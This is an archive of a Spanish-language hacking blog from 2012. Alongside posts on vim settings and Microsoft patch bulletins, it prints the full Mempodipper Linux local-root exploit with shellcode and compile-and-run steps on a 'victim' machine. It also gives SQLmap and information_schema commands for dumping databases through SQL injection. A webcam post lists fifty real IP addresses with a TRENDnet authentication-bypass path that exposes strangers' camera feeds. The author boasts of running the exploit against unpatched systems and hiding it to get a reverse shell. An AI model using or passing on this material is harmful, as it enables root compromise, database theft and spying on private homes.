sábado, 24 de marzo de 2012

Ya están disponibles las inscripciones los Talleres de Seguridad informática

Ya están disponibles las inscripciones los Talleres de Seguridad informática, Cupo limitado a si que apurence, mas información acceder a http://www.crimen-digital.blogspot.com/2012/03/tecnicas-de-acceso-y-borrado-de-huellas.html
Los Esperamos............

domingo, 19 de febrero de 2012

Configuracion de VIM para mantener los niveles de identacion para PYTHON

hoy hablando con un brother me preguntaba en que entorno en linux se puede programar de manera eficiente Python, la verdad que mi poca experiencia en desarrollos grandes de hacia inclinarme por eclipse y el modulo Pydev, sin embargo en foros y comunidades es muy utilizado en editor de archivos VIM, el cual yo también uso sin embargo existen configuraciones avanzadas las cuales hacen de vim uno de los editores favoritos al momento de programar en Python ya que estos mismos programadores han creado módulos y realizados hack al editor y bueno han optimizado para el desarrollo en python:
Así que poco a poco iré actualizando esta entrada con todas las técnicas utilizadas para optimizar vim.
1. Configurar la tecla tab para mantener el nivel de identacion a 4 espacios en blanco.blanco
entramos a nano /etc/vim/vimrc
y modificamos
if has("syntax")
  syntax on
  set tabstop=4
  set shiftwidth=4
  set smarttab
  set expandtab                                                                 
  set softtabstop=4
endif

gracias

martes, 14 de febrero de 2012

Boletines de Seguridad Microsoft

Desde Hispasec Sistemas les hago y C & P de los Boletines de Seguridad para febrero de Microsof que parcha 21 vulnerabilidades. de la cuales consideran 4 como "criticas" y 5 como importantes.


* MS12-008: Boletín de carácter "crítico" destinado a corregir dos
vulnerabilidades en los controladores en modo kernel de Windows que
podrían permitir la ejecución remota de código arbitrario (CVE-2011-5046
y CVE-2012-0154). Afecta a Windows XP, Server 2003, Vista, Server 2008 y
Windows 7.

* MS12-009: Actualización para corregir dos vulnerabilidades (con
CVE-2012-0148 y CVE-2012-0149) en el controlador de función auxiliar que
podrían permitir la elevación de privilegios si un usuario ejecuta un
archivo malicioso. El boletín presenta un nivel de gravedad
"importante", y la vulnerabilidad que resuelve afecta a Windows XP,
Windows 7 y Server 2003 y 2008.

* MS12-010: Actualización acumulativa para Microsoft Internet Explorer
que además soluciona cuatro nuevas vulnerabilidades que podrían permitir
la ejecución remota de código arbitrario. Afecta a Internet Explorer 6,
7, 8 y 9. Los CVE asociados a las vulnerabilidades son CVE-2012-0010,
CVE-2012-0011, CVE-2012-0012, y CVE-2012-0155.

* MS12-011: Actualización para solucionar tres vulnerabilidades en
Microsoft SharePoint y Microsoft SharePoint Foundation. Los problemas
podrían permitir la elevación de privilegios o la divulgación de
información sensible (CVE-2012-0017, CVE-2012-0144 y CVE-2012-0145).
Este boletín está valorado como "importante".

* MS12-012: Boletín "importante" que resuelve una vulnerabilidad en en
el panel de control que podría permitir la ejecución remota de código
arbitrario si un usuario abre un archivo (como .icm o .icc)
especialmente creado (CVE-2010-5082). Afecta a Windows Server 2008.

* MS12-013: Boletín de carácter "crítico" destinado a corregir una
vulnerabilidad de ejecución remota de código en la biblioteca de tiempo
de ejecución C, si un usuario abre un archivo multimedia específicamente
creado (CVE-2012-0150). Afecta a Windows Vista, Windows 7 y Server 2008.

* MS12-014: Actualización para corregir una vulnerabilidad en la forma
en que el códec Indeo trata la carga de archivos DLL, que podría
permitir la ejecución remota de código arbitrario (CVE-2010-3138). El
boletín presenta un nivel de gravedad "importante" y afecta a todos los
sistemas Windows.

* MS12-015: Boletín "importante" que resuelve cinco vulnerabilidades en
Microsoft Office, que podría permitir la ejecución remota de código si
un usuario abre un archivo de Visio especialmente creado. Afecta a
Microsoft Visio Viewer 2010. Los CVE asociados a las vulnerabilidades
son CVE-2012-0019, CVE-2012-0020, CVE-2012-0136, CVE-2012-0137 y
CVE-2012-0138.

* MS12-016: Este boletín está valorado como "crítico", consiste en una
actualización para solucionar dos vulnerabilidades en Microsoft .NET
Framework y Microsoft Silverlight que podrían permitir la ejecución
remota de código si un usuario visita una página web especialmente
diseñada mediante un explorador web que pueda ejecutar aplicaciones XAML
del explorador (XBAP) o aplicaciones Silverlight. (CVE-2012-0014 y
CVE-2012-0015).

Las actualizaciones publicadas pueden descargarse a través de Windows
Update o consultando los boletines de Microsoft donde se incluyen las
direcciones de descarga directa de cada parche. Se recomienda la
actualización de los sistemas con la mayor brevedad posible.

Opina sobre esta noticia:
http://unaaldia.hispasec.com/2012/02/boletines-de-seguridad-de-microsoft-en.html#comments

Más información:

Resumen del boletín de seguridad de Microsoft de febrero 2012
http://technet.microsoft.com/es-es/security/bulletin/ms12-feb

Boletín de seguridad de Microsoft MS12-008 - Crítica
Vulnerabilidades en los controladores en modo kernel de Windows podrían permitir la ejecución remota de código (2660465)
http://technet.microsoft.com/es-es/security/bulletin/MS12-008

Boletín de seguridad de Microsoft MS12-009 - Importante
Vulnerabilidades en el controlador de función auxiliar podrían permitir la elevación de privilegios (2645640)
http://technet.microsoft.com/es-es/security/bulletin/ms12-009

Boletín de seguridad de Microsoft MS12-010 - Crítica
Actualización de seguridad acumulativa para Internet Explorer (2647516)
http://technet.microsoft.com/es-es/security/bulletin/ms12-010

Boletín de seguridad de Microsoft MS12-011 - Importante
Vulnerabilidades en Microsoft SharePoint podrían permitir la elevación de privilegios (2663841)
http://technet.microsoft.com/es-es/security/bulletin/ms12-011

Boletín de seguridad de Microsoft MS12-012 - Importante
Una vulnerabilidad en Panel de control de color podría permitir la ejecución remota de código (2643719)
http://technet.microsoft.com/es-es/security/bulletin/ms12-012

Boletín de seguridad de Microsoft MS12-013 - Crítica
Una vulnerabilidad en la biblioteca de tiempo de ejecución C podría permitir la ejecución remota de código (2654428)
http://technet.microsoft.com/es-es/security/bulletin/ms12-013

Boletín de seguridad de Microsoft MS12-014 - Importante
Una vulnerabilidad en el códec Indeo podría permitir la ejecución remota de código (2661637)
http://technet.microsoft.com/es-es/security/bulletin/ms12-014

Boletín de seguridad de Microsoft MS12-015 - Importante
Vulnerabilidades en Microsoft Visio Viewer 2010 podrían permitir la ejecución remota de código (2663510)
http://technet.microsoft.com/es-es/security/bulletin/ms12-015

Boletín de seguridad de Microsoft MS12-016 - Crítica
Vulnerabilidades en .NET Framework y Microsoft Silverlight podrían permitir la ejecución remota de código (2651026)
http://technet.microsoft.com/es-es/security/bulletin/ms12-016

viernes, 10 de febrero de 2012

Volcando datos al explotar un SQLi - Parte III - Automatiza el ataque

En Inyecciones SQL de tipo Inbound donde tenemos un procedimiento de listado la cual nos permite volcar en pantalla la información extraída es preferible realizar la explotación manual ya que realmente usar alguna tool puede ser demasiado ruidosa y podríamos levantar algunas alertas sin embargo existen excelentes herramientas como SQLmap nos permiten realizar esta tarea de manera optima ya podemos manipularla para que realice exactamente lo que se requiere, a si que para nuestro ejemplo podríamos manejarlo así:

Nota: en este ejemplo estoy asumiendo que el lector conoce poco o nada de explotación con sqlmap así que para algunos puede ser algo lento bueno como siempre el fin es compartir con los que recién inician.

Para ejecutar Sqlmap en backtrack 5 podemos entrar al directorio /pentest/database/sqlmap para ejecutarla basta con llamar a la aplicación sqlmap.py con el interprete de Python ejemplo:

python sqlmap.py -h

con el -h nos muestra un help de sqlmap, ahora en nuestro caso para llamar a la web utilizamos el parámetro --url o simplemente -u como pasamos los parámetros por GET simplemente se especifica en la url:

python sqlmap.py --url="http://localhost/sqli.php?fileid=1"


como siempre lo digo las tools solo son un complento así que no inicien un Testeo directamente con una tool ya que para optimizar requerimos información precisa a si el proceso de Testing es mas limpio, levantamos menos sospechas y podemos cumplir nuestro objetivo entonces siempre en alguna explotación de sqli primero identificamos las siguientes parámetros:

1. La variable vulnerable
2.El payload
3. Motor de Base de datos
4. El tipo de explotación
5. Alcance de la explotación


En nuestro caso estos datos obtuvimos o suponemos que son:

1. variable GET fileid
2. payload and 1 =1
3. motor de DB mysql
4. El tipo es InBound
5. Extracción de información del information_schema


ahora como armamos nuestro escenario:
la variable vulnerable se poner con el parámetro -p
python sqlmap.py --url="http://localhost/sqli.php?fileid=1" -p "fileid"
siempre es recomendable modificar los payloads, pero para este tutorial usaremos los que vienen por defauld, para indicar el motor de DB se hace uso del parámetro --dbms

python sqlmap.py --url="http://localhost/sqli.php?fileid=1" -p "fileid" --dbms="mysql"

Para el tipo de explotación se usa el parámetro --technique
en sqlmap a la explotación tipo inbound se conoce como UNION así que la cosa quedaría:

python sqlmap.py --url="http://localhost/sqli.php?fileid=1" -p "fileid" --dbms="mysql" --technique="U"


Con eso parámetros podríamos darle al sqlmap de forma masticada la vulnerabilidad para que este lo almacene en su base de conocimientos.
En una explotación inbound o union como pudimos ver para poder volcar los datos necesitamos de mamera exacta cuando valores son llamados en la consulta en los tutoriales anteriores esto lo logramos con ORDER BY aquí en sqlmap se usa el parametro --union-cols="x-n" donde x el valor mínimo y n el máximo tal y como lo vimos con order by en caso ya identifiquemos en numero de valores para nuestro caso 3 lo podemos hacer asi
python sqlmap.py --url="http://localhost/sqli.php?fileid=1" -p "fileid" --dbms="mysql" --technique="U" --union-cols="3-3" -v 3
qui indicamos que son 3 valores que es llamado en la consulta y el -v indica el nivel de información de salida, con el comando anterior el sqlmap ya esta listo para identificar la vulnerabilidad para luego explotar.
si sqlmap encuentra que la variable fileid es vulnerable nos lanza esta alerta


luego guarda en output un archivo con datos de la vulnerabilidad para luego explotarla, ahora solo no falta volcar la información para nuestro caso seria los siguientes comandos:
python sqlmap.py --url="http://localhost/sqli.php?fileid=5" -p "fileid" --current-db

miércoles, 8 de febrero de 2012

Si tienes en tu cuarto una Camara TRENDnet mejor Apagala

Un fallo de seguridad muy pero muy vergonzosa en algunos modelos de las cámaras TRENDnet el cual permite a un atacante o algún curioso conectarse a una de estas Webcams remotamente bypasseando la autenticacion e ingresando sin introducir ningún usuario ni contraseña valida.
la verdad que estos fallos son demasiado fáciles de explotar y quisas no merece la pena dedicarle mucho tiempo a la explicación, si tenemos una de estas webcam corriendo sobre la ip 192.168.1.2 apuntada al puerto 80 solo debemos de agregar "/anony/mjpg.cgi"
http://192.168.1.2/anony/mjpg.cgi
y listo nos saltamos el login y podemos ver nuestra webcam, ahora en caso no tengamos una pero queremos buscar algunas por la red la podemos hacer desde el poderoso SHODAN un método de búsqueda seria
http://www.shodanhq.com/search?q=TRENDnet

Y como en el mundo hay cada genio (Vago) ya hay en pastebin un lista de mas de 1300 url de estas webcam las cuales son vulnerables: http://pastebin.com/jLqbjpJh

, la lista sigue creciendo y puedes dar también tus aportes qui les dejo un pantallaso de una webcam:
ojo muchas de estas ip presentadas en la lista de url ya no se encuentran activas debido a que estas ips pueden ser dinámicas y pudieron haber cambiado, como contramedida en caso tengas esta webcam con este bug se recomienda actualizar el firmware de tu Webcam y como sabrán es una buena practica tapar la webcam casi nadie que conoce algo de seguridad la trae sin cubrir. Aqui les dejo 50 IP de la lista de PASTEBIN
http://94.18.124.194/anony/mjpg.cgi
http://80.15.131.186/anony/mjpg.cgi
http://78.156.127.21/anony/mjpg.cgi
http://71.63.36.13/anony/mjpg.cgi
http://190.96.212.150/anony/mjpg.cgi
http://189.234.129.103/anony/mjpg.cgi
http://99.139.70.3/anony/mjpg.cgi
http://65.182.79.56/anony/mjpg.cgi
http://78.233.76.131/anony/mjpg.cgi
http://93.100.234.102/anony/mjpg.cgi
http://91.64.157.16/anony/mjpg.cgi
http://99.189.24.236/anony/mjpg.cgi
http://98.194.41.34/anony/mjpg.cgi
http://67.148.242.39/anony/mjpg.cgi
http://173.197.24.110/anony/mjpg.cgi
http://82.241.221.67/anony/mjpg.cgi
http://81.20.161.234/anony/mjpg.cgi
http://96.252.11.123/anony/mjpg.cgi
http://88.163.52.198/anony/mjpg.cgi
http://76.30.239.192/anony/mjpg.cgi
http://63.229.31.1/anony/mjpg.cgi
http://67.152.141.125/anony/mjpg.cgi
http://65.167.91.229/anony/mjpg.cgi
http://24.49.134.172/anony/mjpg.cgi
http://98.196.16.153/anony/mjpg.cgi
http://152.14.56.212/anony/mjpg.cgi
http://85.170.41.122/anony/mjpg.cgi
http://108.38.11.47/anony/mjpg.cgi
http://201.241.57.183/anony/mjpg.cgi
http://67.33.52.88/anony/mjpg.cgi
http://188.26.196.60/anony/mjpg.cgi
http://72.130.154.165/anony/mjpg.cgi
http://148.244.71.207/anony/mjpg.cgi
http://77.73.53.238/anony/mjpg.cgi
http://38.107.185.237/anony/mjpg.cgi
http://74.71.239.153/anony/mjpg.cgi
http://173.72.150.62/anony/mjpg.cgi
http://81.248.22.160/anony/mjpg.cgi
http://119.234.201.114/anony/mjpg.cgi
http://220.134.93.194/anony/mjpg.cgi
http://76.103.91.127/anony/mjpg.cgi
http://71.238.95.169/anony/mjpg.cgi
http://81.20.148.158/anony/mjpg.cgi
http://89.156.201.187/anony/mjpg.cgi
http://187.153.231.142/anony/mjpg.cgi
http://200.114.12.155/anony/mjpg.cgi
http://173.73.40.122/anony/mjpg.cgi
http://216.58.57.60/anony/mjpg.cgi
http://76.252.236.95/anony/mjpg.cgi
http://96.4.3.59/anony/mjpg.cgi
By neotrons

Execution Mempodipper - Linux Local Root

Aqui les dejo el código del exploit jaja la verdad no tenia nada que publicar y opte por publicar como ejecutar Mempodipper y elevar privilegio la verdad que no es nada mas que copiar el código compilarlo y luego ejecutarlo pero bueno es una entrada y hay algunos que recién inician y les puede servir, por mi parte me estoy divirtiendo mucho ya que muchos aun no parchan y bueno también e creado una aplicación en python donde oculto Mempodipper y luego lo ejecuto y obtengo una shell reversa ya en otra entrada compartiré el código si que manos ala obra aquí les dejo el código para un C & P les recomiendo para mas información entrar a la pagina del zx2c4 el Autor del exploit donde lo explica de una manera increíble también el código desde la fuente oficial

/*
 * Mempodipper
 * by zx2c4
 * 
 * Linux Local Root Exploit
 * 
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 * 
 * Enjoy.
 * 
 * - zx2c4
 * Jan 21, 2012
 * 
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

char *prog_name;

int send_fd(int sock, int fd)
{
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 int n;
 char cms[CMSG_SPACE(sizeof(int))];

 buf[0] = 0;
 iov.iov_base = buf;
 iov.iov_len = 1;

 memset(&msg, 0, sizeof msg);
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = CMSG_LEN(sizeof(int));

 cmsg = CMSG_FIRSTHDR(&msg);
 cmsg->cmsg_len = CMSG_LEN(sizeof(int));
 cmsg->cmsg_level = SOL_SOCKET;
 cmsg->cmsg_type = SCM_RIGHTS;
 memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

 if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  return -1;
 close(sock);
 return 0;
}

int recv_fd(int sock)
{
 int n;
 int fd;
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 char cms[CMSG_SPACE(sizeof(int))];
 
 iov.iov_base = buf;
 iov.iov_len = 1;

 memset(&msg, 0, sizeof msg);
 msg.msg_name = 0;
 msg.msg_namelen = 0;
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;

 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = sizeof cms;

 if ((n = recvmsg(sock, &msg, 0)) < 0)
  return -1;
 if (n == 0)
  return -1;
 cmsg = CMSG_FIRSTHDR(&msg);
 memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
 close(sock);
 return fd;
}

unsigned long ptrace_address()
{
 int fd[2];
 printf("[+] Creating ptrace pipe.\n");
 pipe(fd);
 fcntl(fd[0], F_SETFL, O_NONBLOCK);

 printf("[+] Forking ptrace child.\n");
 int child = fork();
 if (child) {
  close(fd[1]);
  char buf;
  printf("[+] Waiting for ptraced child to give output on syscalls.\n");
  for (;;) {
   wait(NULL);
   if (read(fd[0], &buf, 1) > 0)
    break;
   ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  }
  
  printf("[+] Error message written. Single stepping to find address.\n");
  struct user_regs_struct regs;
  for (;;) {
   ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
   wait(NULL);
   ptrace(PTRACE_GETREGS, child, NULL, ®s);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
   if (instruction_pointer < upper_bound) {
    unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
    if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
     return instruction_pointer;
   }
  }
 } else {
  printf("[+] Ptrace_traceme'ing process.\n");
  if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
   perror("[-] ptrace");
   return 0;
  }
  close(fd[0]);
  dup2(fd[1], 2);
  execl("/bin/su", "su", "not-a-valid-user", NULL);
 }
 return 0;
}

unsigned long objdump_address()
{
 FILE *command = popen("objdump -d /bin/su|grep ''|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
 if (!command) {
  perror("[-] popen");
  return 0;
 }
 char result[32];
 fgets(result, 32, command);
 pclose(command);
 return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
 printf("[+] Ptracing su to find next instruction without reading binary.\n");
 unsigned long address = ptrace_address();
 if (!address) {
  printf("[-] Ptrace failed.\n");
  printf("[+] Reading su binary with objdump to find exit@plt.\n");
  address = objdump_address();
  if (address == ULONG_MAX || !address) {
   printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
   printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
   exit(-1);
  }
 }
 printf("[+] Resolved call address to 0x%lx.\n", address);
 return address;
}

int su_padding()
{
 printf("[+] Calculating su padding.\n");
 FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
 if (!command) {
  perror("[-] popen");
  exit(1);
 }
 char result[256];
 fgets(result, 256, command);
 pclose(command);
 return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
 char parent_mem[256];
 sprintf(parent_mem, "/proc/%d/mem", getppid());
 printf("[+] Opening parent mem %s in child.\n", parent_mem);
 int fd = open(parent_mem, O_RDWR);
 if (fd < 0) {
  perror("[-] open");
  return 1;
 }
 printf("[+] Sending fd %d to parent.\n", fd);
 send_fd(sock, fd);
 return 0;
}

int parent(unsigned long address)
{
 int sockets[2];
 printf("[+] Opening socketpair.\n");
 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  perror("[-] socketpair");
  return 1;
 }
 if (fork()) {
  printf("[+] Waiting for transferred fd in parent.\n");
  int fd = recv_fd(sockets[1]);
  printf("[+] Received fd at %d.\n", fd);
  if (fd < 0) {
   perror("[-] recv_fd");
   return 1;
  }
  printf("[+] Assigning fd %d to stderr.\n", fd);
  dup2(2, 15);
  dup2(fd, 2);

  unsigned long offset = address - su_padding();
  printf("[+] Seeking to offset 0x%lx.\n", offset);
  lseek64(fd, offset, SEEK_SET);
  
#if defined(__i386__)
  // See shellcode-32.s in this package for the source.
  char shellcode[] =
   "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
   "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
   "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
   "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
   "\x80";
#elif defined(__x86_64__)
  // See shellcode-64.s in this package for the source.
  char shellcode[] =
   "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
   "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
   "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
   "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
   "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
  printf("[+] Executing su with shellcode.\n");
  execl("/bin/su", "su", shellcode, NULL);
 } else {
  char sock[32];
  sprintf(sock, "%d", sockets[0]);
  printf("[+] Executing child from child fork.\n");
  execl("/proc/self/exe", prog_name, "-c", sock, NULL);
 }
 return 0;
}

int main(int argc, char **argv)
{
 prog_name = argv[0];
 
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
  return child(atoi(argv[2]));
 
 printf("===============================\n");
 printf("=          Mempodipper        =\n");
 printf("=           by zx2c4          =\n");
 printf("=         Jan 21, 2012        =\n");
 printf("===============================\n\n");
 
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  return parent(strtoul(argv[2], NULL, 16));
 else
  return parent(find_address());
 
}

Ahora para ejecutar el exploit solo tenemos que en nuestra maquina victima realizar la siguiente secuencia de comandos:
uname -a
touch mempodipper.c
vim mempodipper.c
con el primer comando verificamos la versión del Kernel si este es >= 2.6.39 es vulnerable, con el segundo comando creamos el archivo mempodipper.c con el tercero lo abrimos y procedemos a pegar el código del exploit.
gcc mempodipper.c -o mempodipper
chmod +x mempodipper
./mempodipper
con el primer comando compilamos el explit luego le damos permisos de ejecución y posterior lo ejecutamos y obtenemos una shell con privilegios de Root jajja muy fácil no.
Aquí les dejo un vídeo ya saben una imagen vale mas que mil palabras.

viernes, 27 de enero de 2012

Elevación de privilegios en el kernel Linux y un exploit interesante

Después casi una semana que no leo mi mail por todo los proyectos y eso ya que soy una persona importante y tengo una agenda muy ocupada (jaja esto es mierda), y como siempre UNA AL DIA de Hispasec es infaltable ley esta novedad donde la forma de explicar y sobre todo lo interesante del exploit no paso desapercibido asi que para los que no están suscritos a UNA AL DIA les recomiendo que lo hagan aquí les dejo un C & P de la noticia.
//Fuente Hispasec

El pasado día 17 de enero, Linus Torvalds hizo un commit para corregir una elevación de privilegios en el kernel Linux 2.6 (CVE-2012-0056). El fallo fue descubierto por Jüri Aedla y según comenta Torvalds en el propio parche, se debe a una incorrecta comprobación de privilegios al abrir el '/proc/#pid#/mem' de un proceso.


Este error no pasó desapercibido a Jason A. Donenfeld que ha escrito y publicado un interesante exploit. Lo ha bautizado como 'Mempodipper'.

Donenfeld estudió en detalle el proceso de explotación. De partida se encontró con que efectivamente la comprobación de permisos era débil y además, que la protección contra escritura en el espacio de memoria del proceso fue eliminada del código del kernel. De hecho puede leerse en el comentario del commit correspondiente, que se eliminaba la restricción porque no se consideraba un peligro la escritura en /proc/#pid#/mem.

Esto hace virtualmente vulnerables a los núcleos con versión 2.6.39 o superior.

Cómo funciona

Cuando se abre /proc/#pid#/mem se usa la función 'mem_open'. Dicha función almacena el 'self_exec_id' correspondiente al proceso que solicita la apertura. Esto se hace para comprobar posteriormente si son suficientes privilegios cuando se efectúan operaciones de lectura o escritura sobre el descriptor de fichero obtenido.
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);

En el caso de la operación de escritura se hace la comprobación del 'self_exec_id' además de llamar a 'check_mem_permission'. En teoría, para escribir en /proc/#pid#/mem, o se es el mismo proceso #pid# o el proceso tiene ciertos permisos especiales relacionados con ptrace.
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
...
...

Se llama a 'check_mem_permission' y si 'mm' vuelve con error no se efectúa la operación:
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;

'check_mem_permission' simplemente llama a '__check_mem_permission' y como se observa dentro de su código efectúa la comprobación "task ==current":
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;

mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);

if (task == current)
return mm;

...
...

Si no coinciden devuelve error. Luego debe ser el mismo proceso el que escriba en su propia memoria y si queremos elevar privilegios necesitaríamos un proceso con 'suid'.

Primera aproximación al exploit

Donenfeld se figuró cómo hacer esto:
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

Cualquier cosa que se escriba pasa por la memoria del proceso creado por 'su' (que posee 'suid'). Parecía obvio qué hacer:

Abrimos '/proc/self/mem' y obtenemos su descriptor de archivo. Ejecutamos 'dup2' para multiplexarlo con 'stderr'. Escribimos nuestro shellcode en él y ejecutando posteriormente con exec obtendríamos root... pero no.

Esto no iba a funcionar debido a que aun queda otra restricción más:
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;

El 'self_exec_id' del proceso que va a ejecutar la escritura 'exec' ha de ser el mismo que abrió originalmente '/proc/#pid#/mem', recordad más arriba cuando se llama a 'mem_open'.

¿Por qué ha cambiado 'self_exec_id'?

Cuando se llama a 'exec' el 'self_exec_id', es aumentado en 1 impidiendo que esto ocurra:
void setup_new_exec(struct linux_binprm * bprm)
{
...
...
current->self_exec_id++;

Resumiendo. No podemos abrir el '/proc/#pid#/mem' de un proceso cualquiera, hacer 'dup2' con 'stderr' y luego hacer 'exec' de un proceso con 'suid' para escribir allí, ya que al hacer 'exec' no van a coincidir los 'self_exec_id'.

Donenfeld solucionó esto de manera sencilla pero ingeniosa, muy ingeniosa.

El exploit

Se hace 'fork' de un proceso y en este hijo se ejecuta 'exec' a un nuevo proceso. De este modo el 'self_exec_id', que se ha heredado del padre, ahora tiene un valor de +1 con respecto al padre.

Ahora hacemos que el padre ejecute 'exec' sobre un proceso 'suid' que va a escribir nuestro shellcode. En este momento, al ejecutar 'exec' en el padre su 'self_exec_id' acaba de aumentar a +1 coincidiendo con el del hijo.

Mientras tanto en el proceso 'exec' que ha llamado el hijo se obtiene, al abrir, el descriptor del '/proc/#parent_pid#/mem'; y es posible abrirlo porque no existe restricción en la operación de apertura. Es decir, no van a ser comprobados los privilegios del 'exec' que ha creado el hijo.

En este momento tenemos un 'exec' del padre con un proceso 'suid' dispuesto a escribir el shellcode. Un 'exec' del hijo con un descriptor del '/proc/#pid#/mem' del padre y la salida 'stderr' acoplada a ese descriptor (llamada a 'dup2') y lo más importante, tenemos los 'self_exec_id' igualados por lo tanto la restricción ha sido evadida.

Solo queda que el hijo pase el descriptor al padre y éste va a escribir el shellcode allí ya que cuando llame a 'mem_write', como hemos dicho, las comprobaciones van a ser correctas.

Pero aún queda más, averiguar "dónde" se debe escribir en memoria para poder ejecutar de manera exitosa el shellcode. Se necesita una dirección fija de memoria, algo que podría ser complicado si se usa ASLR, pero Donenfeld observó que la mayoría de binarios 'su' de las distribuciones no están compilados con 'PIE'(Position-independent executable)

Podemos observarlo si hacemos:
$ readelf -h /bin/su | grep Type
Type:                              EXEC (Executable file)

Como el mismo Donenfeld apunta, si el 'Type' fuera 'DYN' entonces si podría protegerse con ASLR debido a que el ejecutable permitiría ser reubicado en distintas posiciones de memoria. Al no ser el caso el desplazamiento en memoria siempre va a ser el mismo.

Buscando Donenfeld obtuvo la dirección 0x402178, correspondiente a una llamada a 'exit@plt'. Tan solo tenía que escribir en 0x402178 menos la longitud de la cadena 'Unknown id: ' y su shellcode se ejecutaría.

En definitiva, un exploit más interesante que la propia vulnerabilidad que explota y una muestra de ingenio por parte de Donenfeld al conseguir la explotación de la forma que hemos visto.

FUENTES:
http://unaaldia.hispasec.com/2012/01/elevacion-de-privilegios-en-el-kernel.html

domingo, 22 de enero de 2012

Volcando datos al explotar un SQLi - Parte II

Hola con todos o con nadie dependiendo si es que leen o no xD bueno dejemos de lado eso y prosigamos con la segunda parte de esta entrada ahora si nos centraremos en como podemos volcar datos manipulado la DB "information_schema", para aquello que llegaron directamente a este post les recomiendo que se den una vuelta por la parte 1.
Ya habiendo descubierto que nos encontramos frente a un sqli tipo inbound o inyeccion estable, también que la versión del mysql es igual o mayor a 5.0.2 y por ultimo que el usuario tenga algunos privilegios o en el mejor de los casos sea root ya podremos manipular "information_schema".
Para este caso con el termino volcar datos me refiero a poder tener acceso a información de otras bases de datos, tablas, etc.. es definir información sensible almacenada en el sistema un ejemplo podría ser la DB donde contiene los usuarios y password de los administradores entre otros.
por lo tanto volcar datos para un usuario malintencionado es simplemente una consulta a dichas bases de datos por algún usuario valido por lo tanto diremos que necesitamos realizar un SELECT por tanto requerimos de 3 datos importantes los cuales son el "nombre de la base de datos", "nombre de la tabla" y "los campos" los cuales queremos consultar por ejemplo:
SELECT user, password FROM datos.usuarios where user = "neotrons";
Aqui observamos que un usuario que tiene acceso autorizado a la base de datos puede realizar un SELECT hacia la DB "datos" la table "usuarios" y muestra los calpos "user,password", pero un usuario que no tiene acceso a estos datos puede elaborar consultas dirigidas hacia "information_schema" para obtener dichos datos, en el caso de "information_schema" tenemos que consultar la Tabla "SCHEMATA" esta tabla proporciona información acerca de las db y uno de su campos "SCHEMA_NAME" contiene los nombres de todas la BD del sistema, para consultar esto datos solo haríamos algo así:
SELECT schema_name FROM information_schema.schemata;
también es necesario consultar la tabla "TABLES" que contiene toda la información relacionada a las tablas del sistema y los campos importantes serian "TABLE_SCHEMA" este campo contiene el nombre de la base de datos a la cual pertenece la tabla y "TABLE_NAME" contiene en nombre de la tabla. la consulta apropiada seria:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'nombre_db';
Por ultimo la tabla "COLUMNS" contiene información de todas los campos pertenecientes al sistema, los campos que intervienen en la consulta serian "TABLE_SCHEMA" contien en nombre de la DB a la que pertence, TABLE_NAME contiene en nombre de la tabla a la que pertenece y COLUMN_NAME el nombre de las columnas correspondientes. una consulta adecuada sera:
